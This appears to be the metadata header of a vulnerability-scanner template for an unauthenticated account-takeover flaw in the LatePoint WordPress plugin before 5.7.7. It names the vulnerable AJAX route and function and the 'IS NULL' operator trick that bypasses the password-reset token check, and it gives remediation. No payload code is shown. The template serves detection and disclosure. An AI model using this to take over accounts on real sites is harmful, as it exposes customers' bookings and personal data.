CVE-2026-118066: LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover

id: CVE-2026-118066

info:
  name: LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover
  author: DhiyaneshDk
  severity: critical
  description: |
    Unauthenticated SQL operator injection in the latepoint_route_call AJAX route (wp_ajax_nopriv). build_conditions_query() in lib/models/model.php treats literal 'IS NULL'/'IS NOT NULL' as SQL operators and concatenates them unbound, bypassing the customer password-reset token check -> account takeover of LatePoint customers and their linked WP subscriber accounts.
  remediation: |
    Update LatePoint to 5.7.7+.
  impact: |
    Unauthenticated attackers can reset passwords and fully access user accounts, including bookings, orders, and personal information.
